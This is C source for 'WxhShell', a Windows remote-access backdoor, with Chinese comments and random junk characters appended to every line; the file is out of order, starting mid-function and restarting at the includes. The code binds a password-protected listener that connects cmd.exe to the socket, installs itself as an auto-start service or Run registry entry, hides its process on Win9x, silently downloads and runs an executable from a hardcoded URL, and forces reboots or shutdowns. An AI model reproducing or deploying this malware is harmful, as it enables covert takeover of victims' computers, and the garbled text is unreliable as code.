    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G(?1 Urxi  
    if(Boot(SHUTDOWN)) q~#>MB}".  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <r <{4\%}  
    else { v5@4 |u3ds  
    closesocket(wsh); ^X6e\]yj  
    ExitThread(0); %AJ9fs4/  
    }  #*rJI3  
    break; kI a16m  
    } '0 ~?zP  
  // 获取shell ]["%e9#aX  
  case 's': { t{B@k[|  
    CmdShell(wsh); MB:[: nX  
    closesocket(wsh); [(a3ljbRX  
    ExitThread(0); Vo^J2[U  
    break; '4 d4i  
  } S0OL;[*.  
  // 退出 ~-NSIV:f  
  case 'x': { Y5 ;a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |Isn<|_  
    CloseIt(wsh); cQxUEY('+  
    break; 8&HBR #  
    } #-Mr3  
  // 离开 *jQ$\|Y  
  case 'q': { 1`|Z8Jpocj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y|+5R5}K  
    closesocket(wsh); g$2#TWW5  
    WSACleanup(); 4$, W\d  
    exit(1); D^>d<LX  
    break; M  hW9^?  
        } UrciCOQf  
  } IhK SwT  
  } j;48Yya'  
._>03,"  
  // 提示信息 uWClT):  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x6JV@wA&  
} qLX<[UL  
  } X0+E!~X$zM  
bBc<p{  
  return; 4D n&+=fq  
} \"RCJadK  
bh5P98s  
// shell模块句柄  k4<28  
int CmdShell(SOCKET sock) #wT6IU1  
{ ks phO-  
STARTUPINFO si; Eo ^m; p5  
ZeroMemory(&si,sizeof(si)); ha;fxM]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; At<MY`ka  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; UkD\ma  
PROCESS_INFORMATION ProcessInfo; wXp:XZ:]T  
char cmdline[]="cmd"; ox<&T|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r)-{~JA!  
  return 0; 4yqYs>  
} |uz<)  
<)LR  
// 自身启动模式 u/|@iWK:  
int StartFromService(void) q,#s m'S  
{ Opf)TAl{  
typedef struct 5*A5Y E-  
{ M0C)SU5"  
  DWORD ExitStatus; hR0a5   
  DWORD PebBaseAddress; l,Y5VGiH#  
  DWORD AffinityMask; #6#n4`%ER  
  DWORD BasePriority; k kD#Bb  
  ULONG UniqueProcessId; w[l#0ZZ  
  ULONG InheritedFromUniqueProcessId; NL `  
}   PROCESS_BASIC_INFORMATION; ayn aV  
2.Ww(`swL  
PROCNTQSIP NtQueryInformationProcess; |[5;dt_U/  
,0AS&xs$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rxol7"2l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2+)h!y]  
; xw9#.d#D  
  HANDLE             hProcess; w0nbL^f  
  PROCESS_BASIC_INFORMATION pbi; ; \co{_&D  
?&,6Y'"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a]P%Y.? r  
  if(NULL == hInst ) return 0; :epB:r  
 (t5y$b c  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WdS1v%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A0A|cJP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]Z\W%'q+  
oF+yh!~mM  
  if (!NtQueryInformationProcess) return 0; E$:2AK{*  
,Js_d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .j,xh )v"  
  if(!hProcess) return 0; \6APU7S  
NRG~ya >  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yyu-y0_  
YZOwr72VL  
  CloseHandle(hProcess); gzVZPvTPE  
O,^s)>c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RWM~7^JA  
if(hProcess==NULL) return 0; `g(#~0R  
6K8v:yYPa  
HMODULE hMod; mP15PZ  
char procName[255]; t'W6Fmwkx  
unsigned long cbNeeded; qR2cRepV  
/>9`Mbg[G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $X.F=Kv  
>#mKM%T2MJ  
  CloseHandle(hProcess); #<&@-D8  
8,+T[S  
if(strstr(procName,"services")) return 1; // 以服务启动 zSsBbu:  
O3slYd&V  
  return 0; // 注册表启动 kn3GgdU  
} mqJD+ K  
+J|LfXgB  
// 主模块 BSSehe*  
int StartWxhshell(LPSTR lpCmdLine) suhnA(T{  
{ p*cyW l  
  SOCKET wsl; UDJ#P9uy  
BOOL val=TRUE; P*?2+.  
  int port=0; 5)k/ 4l '  
  struct sockaddr_in door; d9e~><bPJ  
^"/TWl>jB  
  if(wscfg.ws_autoins) Install(); Wx;%W"a  
g0/ R\  
port=atoi(lpCmdLine); ZZ!6O/M  
loq2+(  
if(port<=0) port=wscfg.ws_port; si]MQ\i+  
~^Ga?Q_  
  WSADATA data; qB$QC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5c%Fb :BW=  
!.@:t`w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i+I.>L/S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1,Pg^Xu  
  door.sin_family = AF_INET; qIzv|Nte  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :N<o<qn  
  door.sin_port = htons(port); +['1~5  
`N}'5{I  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V*%><r  
closesocket(wsl); ,FRa6;  
return 1; vPy."/[u  
} |N^8zo :  
ZL!5dT&@W  
  if(listen(wsl,2) == INVALID_SOCKET) { y?}<SnjP:  
closesocket(wsl); ` -f\6r|:)  
return 1; 0H'G./8  
} hG9Mp!d91  
  Wxhshell(wsl); @v /Ae_q!  
  WSACleanup(); efbJ2C  
q8e]{sT'!  
return 0; }b<w\9AF  
sC :.}6  
} \4OU+$m  
PEKXPF N  
// 以NT服务方式启动 4>HQ2S{t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v&66F`  
{ R\6dvd  
DWORD   status = 0; e]:(.Wb- 9  
  DWORD   specificError = 0xfffffff; ;t.)A3 PL  
;Q5o38(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #V[Os!ns  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; shY8h   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mLHl]xs4  
  serviceStatus.dwWin32ExitCode     = 0; e&<=+\ul  
  serviceStatus.dwServiceSpecificExitCode = 0; E|VTbE YG  
  serviceStatus.dwCheckPoint       = 0; .36]>8  
  serviceStatus.dwWaitHint       = 0; 1l}fX}5%I;  
~!Rf5QA85  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B|AIl+y  
  if (hServiceStatusHandle==0) return; BUBtK-n~"3  
9J}^{AA  
status = GetLastError(); m\ @Q}  
  if (status!=NO_ERROR) yW}x  
{ Qz<i{r-z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1HRcEzA  
    serviceStatus.dwCheckPoint       = 0; ae+*gkPv8  
    serviceStatus.dwWaitHint       = 0; ~.S/<:`U  
    serviceStatus.dwWin32ExitCode     = status; A{Y/eG8  
    serviceStatus.dwServiceSpecificExitCode = specificError; <Um5w1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v +?'/Q%  
    return; RE;)#t?K  
  } J>0RN/38o  
$j0<ef!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3`njQvI\  
  serviceStatus.dwCheckPoint       = 0; P`n"E8"ab<  
  serviceStatus.dwWaitHint       = 0; *.-qbwOg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^%33&<mB}  
} ,Mn?h\  
-D_xA10  
// 处理NT服务事件,比如:启动、停止 @Wzr rCpj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7I:<i$)V  
{ TzV~I\a|  
switch(fdwControl) QLH6Nmk  
{ s#(<zBZ9p#  
case SERVICE_CONTROL_STOP: tHH @[E+h  
  serviceStatus.dwWin32ExitCode = 0; <d3 a  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3hR3)(+1  
  serviceStatus.dwCheckPoint   = 0; >6z7.d  
  serviceStatus.dwWaitHint     = 0; G>+iisb%  
  { =#?=Lh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {MmK:C  
  } TmgSV#G  
  return; 9P-I)ZqL  
case SERVICE_CONTROL_PAUSE: F#l!LER^1g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; R lmeZy4.  
  break; U0dhr;l  
case SERVICE_CONTROL_CONTINUE: l]geQl:7`r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lUM-~  
  break; D{iPsH6};5  
case SERVICE_CONTROL_INTERROGATE: yJHFo[wGMJ  
  break; P{>-MT2E  
}; -Rr Qv(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T=T1?@2C  
} ID$%4jl  
-T.C?Q g  
// 标准应用程序主函数 #j6qq3OG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pm'i4!mY<P  
{ jsIT{a*]  
[kPF Jf  
// 获取操作系统版本 JO|xX<#:  
OsIsNt=GetOsVer(); #9@UzfZAwT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Xwk_QFv3  
p!p:LSk"/b  
  // 从命令行安装 _{0IX  
  if(strpbrk(lpCmdLine,"iI")) Install(); 43o!Vr/ S  
[!>DQE  
  // 下载执行文件 Z oQPvs7_  
if(wscfg.ws_downexe) { OC_i,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fTV}IP  
  WinExec(wscfg.ws_filenam,SW_HIDE); &l(PWU  
} IM&l%6[).  
](sT,'  
if(!OsIsNt) { MDOP2y`2i  
// 如果时win9x,隐藏进程并且设置为注册表启动 ZD`0(CkXb  
HideProc(); ]MV=@T^8#  
StartWxhshell(lpCmdLine); iig@$ i#  
} '645Fr[lg  
else vS+E`[  
  if(StartFromService()) ]ZM-c~nL  
  // 以服务方式启动 3v:c'R0  
  StartServiceCtrlDispatcher(DispatchTable); >iFi~)i_4y  
else cR/z;*wr7  
  // 普通方式启动 5TVA1  
  StartWxhshell(lpCmdLine); $Rv (v%  
8z'_dfP=5  
return 0; s_Gf7uC  
} SW*Y u{  
2W vf[2Xw  
>r5s>A[YC  
2sNV09id  
=========================================== Xmaj7*f>p  
\TTt!"aK  
WeRX~  
<& p0:S7  
G}p* oz~  
B>,&{ah/5J  
" |GnqfD  
b0!ZA/YC-  
#include <stdio.h> zkmfu~_)  
#include <string.h> <B3$ODGJp  
#include <windows.h> g~Agy  
#include <winsock2.h> 2g:V_%  
#include <winsvc.h> P`!31P#]L  
#include <urlmon.h> v* /}s :a  
0X[uXf  
#pragma comment (lib, "Ws2_32.lib") ^h\Y.  
#pragma comment (lib, "urlmon.lib") $kCLS7 *  
+LeM[XX  
#define MAX_USER   100 // 最大客户端连接数 B_#U|10et  
#define BUF_SOCK   200 // sock buffer ^Y- S"Ks  
#define KEY_BUFF   255 // 输入 buffer ju{\7X5  
"Zq)y_1  
#define REBOOT     0   // 重启 |\_d^U &`  
#define SHUTDOWN   1   // 关机 -iJ @K  
76rRF   
#define DEF_PORT   5000 // 监听端口 Z/w "zCd  
> lIQM3  
#define REG_LEN     16   // 注册表键长度 =[T_`*s&  
#define SVC_LEN     80   // NT服务名长度 ;^Hg\a  
I-?Dil3  
// 从dll定义API WyD L ah^/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hAv.rjhw_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rLzN #Zoi  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $wx)/t<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mhZ60RW  
v<c@bDZ>  
// wxhshell配置信息 60r4%> d  
struct WSCFG { qe"t0w|U?  
  int ws_port;         // 监听端口 ^ H )nQ  
  char ws_passstr[REG_LEN]; // 口令 ~Dz`O"X3  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q1?09  
  char ws_regname[REG_LEN]; // 注册表键名 h8me.=S&  
  char ws_svcname[REG_LEN]; // 服务名 \6z_ ;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s#*T(pY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 EA+}Rf6}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4OOH 3O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no BQTibd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3Sb'){.MT+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~xSAR;8  
Q7vTTn\  
}; vOKWi:-U  
7@*l2edXm+  
// default Wxhshell configuration )lsR8Hi8  
struct WSCFG wscfg={DEF_PORT, S"wn0B$"  
    "xuhuanlingzhe", 5o&noRIIr  
    1, ~$\9T.tre2  
    "Wxhshell", ]gHi5]\NC  
    "Wxhshell", /PuN+M  
            "WxhShell Service", ,|r%tNh<8$  
    "Wrsky Windows CmdShell Service", ;@R=CQ6  
    "Please Input Your Password: ", a\BV%'Zqg  
  1, l,n V*Z  
  "http://www.wrsky.com/wxhshell.exe", |)pRkn8x  
  "Wxhshell.exe" QSxR@hC  
    }; -4 !9cE  
6pCQP c*A  
// 消息定义模块 >.)m|,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2sryhS'(H  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fd<a%nSD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yK3b^  
char *msg_ws_ext="\n\rExit."; Jiv%Opo/|  
char *msg_ws_end="\n\rQuit."; )=vQrMyB  
char *msg_ws_boot="\n\rReboot..."; +=Q/'g   
char *msg_ws_poff="\n\rShutdown..."; R rtr\ a  
char *msg_ws_down="\n\rSave to "; `,O#r0m  
UHh7x%$n  
char *msg_ws_err="\n\rErr!"; (WISf}[l;  
char *msg_ws_ok="\n\rOK!"; AJ0 ;wx  
..5rW0lr  
char ExeFile[MAX_PATH]; [10y13  
int nUser = 0; CC8)yO  
HANDLE handles[MAX_USER]; dpPu&m+  
int OsIsNt; V4.&"0\n#  
oXxY$x*R1  
SERVICE_STATUS       serviceStatus; $gv3Up"U  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; oN\IQ7oI  
XJ3p<  
// 函数声明 DNGXp5I  
int Install(void); A./ VO  
int Uninstall(void); ~g|Z6-?4Jj  
int DownloadFile(char *sURL, SOCKET wsh); 0S%xm'|N  
int Boot(int flag); M:9 6QM~  
void HideProc(void); 1j!LK-  
int GetOsVer(void); Q/[g|"  
int Wxhshell(SOCKET wsl); KS3>c7  
void TalkWithClient(void *cs); PXRkK63  
int CmdShell(SOCKET sock); 5(+PI KCjC  
int StartFromService(void); T.}wcQf&*  
int StartWxhshell(LPSTR lpCmdLine); %tOGs80_{  
D["~G v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e` QniTkT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hT0[O  
sgGXj7  
// 数据结构和表定义 cOq'MDr  
SERVICE_TABLE_ENTRY DispatchTable[] = b:M1P&R  
{ nhu;e}[>  
{wscfg.ws_svcname, NTServiceMain}, ,dR<O.{ 0  
{NULL, NULL} WCdl 25L#  
}; RnaxRnXVR  
M&v;#CV  
// 自我安装 tpY]Mz[J  
int Install(void) 2d#3LnO  
{ `k.Tfdu)K  
  char svExeFile[MAX_PATH]; vh/&KTe?:  
  HKEY key; cS2PrsUx  
  strcpy(svExeFile,ExeFile); I""zg^Rq  
kF@Z4MB}yr  
// 如果是win9x系统,修改注册表设为自启动 $0mR_pA\fW  
if(!OsIsNt) { w wuM!Z+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JH|]B|3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lM |}K-2  
  RegCloseKey(key); #hZ`r5GvTj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g!\H^d4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RDSkFK( D  
  RegCloseKey(key); ixY[ HDPq  
  return 0; z8@[]6cW  
    } j%`% DQ  
  } hE;|VSdo  
} l"rX'g?  
else { TFAd  
gJZH??b  
// 如果是NT以上系统,安装为系统服务 x##0s5Qn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k6$Ft.0d1Z  
if (schSCManager!=0) P U2^4h/[`  
{ `9* |Y8:  
  SC_HANDLE schService = CreateService x>bGxDtu*  
  ( c<a)Yqf"]  
  schSCManager, }WV}in0  
  wscfg.ws_svcname, z}a9%Fb  
  wscfg.ws_svcdisp, U!\~LKfA  
  SERVICE_ALL_ACCESS, 0g`$Dap  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ntt*}|:QV<  
  SERVICE_AUTO_START, M-8`zA2  
  SERVICE_ERROR_NORMAL, |pG%]?A  
  svExeFile, |kGQ~:k+P  
  NULL, ,(A $WT@e  
  NULL, nCS" l5  
  NULL, 9Wv}g"KY0  
  NULL, N XCvS0/h  
  NULL DS1{~_>nFu  
  ); Nl'@Y^8N  
  if (schService!=0) ;O7Vl5R  
  { Z0[d;m*  
  CloseServiceHandle(schService); ]5r@`%9  
  CloseServiceHandle(schSCManager); 2}n7f7[/b  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jx{wOb~oO)  
  strcat(svExeFile,wscfg.ws_svcname); SU5O+;{`'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #,9s\T  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jVPX]8  
  RegCloseKey(key); >r3SF3XMq  
  return 0; L++qMRk9  
    } \^1S:z  
  } v1rTl5H  
  CloseServiceHandle(schSCManager); z d6F}2*6  
} s1]m^,  
} ,`bmue5  
*XOLuPL>6)  
return 1; v5\5:b {/  
} p,.6sk  
y_' 6bpb  
// 自我卸载 !nsx!M  
int Uninstall(void) j5[Y0)pV\  
{ 2?{'(i ay  
  HKEY key; ^I KT!"J&?  
=4$ErwI_dm  
if(!OsIsNt) { k1.%ZZMM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4f&"1:  
  RegDeleteValue(key,wscfg.ws_regname); & 'CUc/,  
  RegCloseKey(key); $J):yhFs e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {;N2 &S o  
  RegDeleteValue(key,wscfg.ws_regname); R@-x!*z  
  RegCloseKey(key); Bi2 c5[3  
  return 0; L~%7=]m  
  } }<YU4EW  
} D4\[D8pD  
} \,fa"^8  
else { W*Si"s2  
fwvwmZW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /Kh,  
if (schSCManager!=0) U.5R3z  
{ XF+4*),  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); '#XT[\  
  if (schService!=0) BA2J dU  
  { z)(W x">  
  if(DeleteService(schService)!=0) { 1Au+X3   
  CloseServiceHandle(schService); r6nnRN/S=  
  CloseServiceHandle(schSCManager); x0b=r!Duu  
  return 0; P@keg*5@  
  } BN `2UVH  
  CloseServiceHandle(schService); n\M8>9c  
  } =7JSJ98  
  CloseServiceHandle(schSCManager); @TQ/Z$y  
} x9AFN  
} ? 3OfiGX?  
-|Zzs4bx  
return 1; haY]gmC  
} }W'4(V;:  
araXE~Ac  
// 从指定url下载文件 f@$W5*j  
int DownloadFile(char *sURL, SOCKET wsh) */l;e<E  
{ [@ev%x,  
  HRESULT hr; FuBt`H  
char seps[]= "/"; oOaFA+0x  
char *token; Q3(ulgl]  
char *file; E]rXp~AZm  
char myURL[MAX_PATH]; D;NL*4zt  
char myFILE[MAX_PATH]; I`_I^C3  
:09NZ !!  
strcpy(myURL,sURL); e.skE>&  
  token=strtok(myURL,seps); }%8ZN :  
  while(token!=NULL) x};~8lGT>t  
  { }L)[>  
    file=token; /wLGf]0  
  token=strtok(NULL,seps); $TmEVC^ 0  
  } ",.f   
AU3Rz&~  
GetCurrentDirectory(MAX_PATH,myFILE); Jz~:  
strcat(myFILE, "\\"); $Yt|XT+!&  
strcat(myFILE, file); >]pZ;e$  
  send(wsh,myFILE,strlen(myFILE),0); 1,%`vlYv  
send(wsh,"...",3,0); zQ |2D*W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P,ueLG=  
  if(hr==S_OK) X2@Ef2EkM  
return 0; U8 Zb&6  
else aL4^ po  
return 1; `z\hQ%1!F  
88~Nrl=co  
} -n&&d8G^s  
2+rT .GFc  
// 系统电源模块 Ik$$Tn&;  
int Boot(int flag) hHN[K  
{ $G`CXhbl  
  HANDLE hToken; =S`h/fru  
  TOKEN_PRIVILEGES tkp; BV B2$&eJ  
NgDhdOB  
  if(OsIsNt) { } +}nrJv  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); OUi;f_*[r  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a]u.Uqyx2w  
    tkp.PrivilegeCount = 1; %-blx)Pc  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; VKDOM0{V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <#h,_WP*  
if(flag==REBOOT) { 5_aj]"x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C P}fxDW  
  return 0; |+q_kx@?l  
} q*UHzE:LI  
else { %xlpOR4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (Lgea  
  return 0; yMz#e0k  
} PaI\y! f  
  } -lhIL}mGf  
  else { x#EE_i/W  
if(flag==REBOOT) { }QCnN2bV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y''~j<'  
  return 0; ] zol?  
} ,%TBW,>  
else { >J7slDRo  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <-v zS;  
  return 0; e P@#I^_  
} r E+B}O  
} [[ ie  
7#R)+  
return 1; uvbVb"\"Yk  
} N:<$]x>  
}=/zG!+  
// win9x进程隐藏模块 ty,oj33  
void HideProc(void) .G[/4h :.  
{ =xo0T 6  
irAXXg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \_`qon$9  
  if ( hKernel != NULL ) =\O#F88ui  
  { j;3I`:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lcdhOjz!N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1p}H,\o  
    FreeLibrary(hKernel); qdix@ @  
  } /Q;wz!V$  
4H#-2LV`  
return; hTtn /j  
} Z=]SAK`  
[./FzlAs  
// 获取操作系统版本 U!(.i1^n  
int GetOsVer(void) KoERg&fY  
{ J~2SGXH)^?  
  OSVERSIONINFO winfo; '#+&?6p  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cU6*y!}9  
  GetVersionEx(&winfo); TF8#I28AD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w5%Yi {  
  return 1; `WayR^9  
  else e(t}$Q=  
  return 0; h$02#(RHJ  
} T?7u [D[[  
[~9UsHfH  
// 客户端句柄模块 q^aDZzx,z  
int Wxhshell(SOCKET wsl) DG;7+2U  
{ ]*=4>(F[  
  SOCKET wsh; cXb*d|-|N  
  struct sockaddr_in client; {srP3ll P  
  DWORD myID; +x2JC' -H  
fp [gKRSF  
  while(nUser<MAX_USER) q_b!+Y  
{ u}5CzV`  
  int nSize=sizeof(client); yD3}USw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); OH t)z.  
  if(wsh==INVALID_SOCKET) return 1;  QHNyH  
+hN>Q $E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /s4~Ij`be  
if(handles[nUser]==0)  cyl%p$  
  closesocket(wsh); I8bM-k):9R  
else PJ5}c!o[  
  nUser++; 0-Mzb{n5  
  } :{%[6lE^G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); DPI[~  
 L8`v  
  return 0; x%EGxs;>^  
} :H]d1  
V%8(zt  
// 关闭 socket hZJ~zx~  
void CloseIt(SOCKET wsh) ]rv\sD`[  
{ *`H*@2  
closesocket(wsh); `Z;Z^c  
nUser--; OijuOLt  
ExitThread(0); 7P<VtS  
} OFtaOjsyUa  
>Z!!`0{  
// 客户端请求句柄 Skt-5S#  
void TalkWithClient(void *cs) 99=~vNn  
{ WoTeIkM9  
}t^wa\   
  SOCKET wsh=(SOCKET)cs; So 1TH%  
  char pwd[SVC_LEN]; UePkSz9EU  
  char cmd[KEY_BUFF]; ^\ [p6>  
char chr[1]; [^"*I.Z_  
int i,j; t.( `$  
~[Tcl  
  while (nUser < MAX_USER) { T~E;@weR  
<wS J K  
if(wscfg.ws_passstr) { 'FXM7D   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Qf~>5(,h  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aF 2vgE\  
  //ZeroMemory(pwd,KEY_BUFF); dL0Q8d\^T  
      i=0; ;oOTL'Vu  
  while(i<SVC_LEN) { _pTcSp 3  
yI^Yh{  
  // 设置超时 "L~Oj&AN[  
  fd_set FdRead; >kQp@r\nQ  
  struct timeval TimeOut; _WZx].|A=  
  FD_ZERO(&FdRead); 9Vt ^q%DC  
  FD_SET(wsh,&FdRead); 6\7c:  
  TimeOut.tv_sec=8; 63 oe0T&  
  TimeOut.tv_usec=0; 3;v)f":[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (7g"ppf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /GgID!8  
Cu+p!hV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |?88EG@05  
  pwd=chr[0]; 1X)#iY  
  if(chr[0]==0xd || chr[0]==0xa) { fJ*^4  
  pwd=0; ')q0VaohC  
  break; q9vND[BQ  
  } *ak0(yLn)  
  i++; M+&~sX*a  
    } ]'pfw9"f~  
S>dHBR#AD  
  // 如果是非法用户,关闭 socket 4np2I~ !  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }uIQ@f`  
} %NkiYiA  
p6j-8ggL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A$wC !P|;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uj3`M9  
nFlN{_/  
while(1) { Qf_N,Bq{a  
hF-QbO  
  ZeroMemory(cmd,KEY_BUFF); 5~h )pt47  
P*"c!Dn  
      // 自动支持客户端 telnet标准   4pL'c@'  
  j=0; FsqH:I4O  
  while(j<KEY_BUFF) { iM8Cw/DS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~3s ?.[}d  
  cmd[j]=chr[0]; w,IJ44f ^%  
  if(chr[0]==0xa || chr[0]==0xd) { RFbf2s\t  
  cmd[j]=0; |.9PwD8~VD  
  break; CG%bZco((  
  } zYaFbNi  
  j++; !PIg ,  
    } P.Tnq  
RZxh"lIo  
  // 下载文件 yq.@-]ytZ  
  if(strstr(cmd,"http://")) { QuS=^,]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); T}!9T!(HdF  
  if(DownloadFile(cmd,wsh)) B9"d7E#wHF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4]1/{</B|  
  else ;y-JR$M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J;>;K6pW  
  } 7B0`.E^~  
  else { ds*gL ~k^  
xlZh(pf  
